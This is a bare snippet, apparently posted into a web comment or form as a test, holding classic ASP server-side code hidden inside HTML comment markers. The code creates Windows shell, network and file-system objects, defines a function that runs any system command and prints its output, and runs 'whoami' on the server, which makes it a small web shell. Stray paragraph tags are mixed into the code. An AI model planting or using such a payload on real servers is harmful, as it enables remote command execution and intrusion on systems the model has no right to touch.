test

<!-
<% Response.write("-" & "->")
Response.write("</p>
<pre>")</p>
<p>Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function</p>

<p>Response.write(getCommandOutput('cmd /c whoami'))
Response.write("</pre>
</p><!-" & "-")%>
->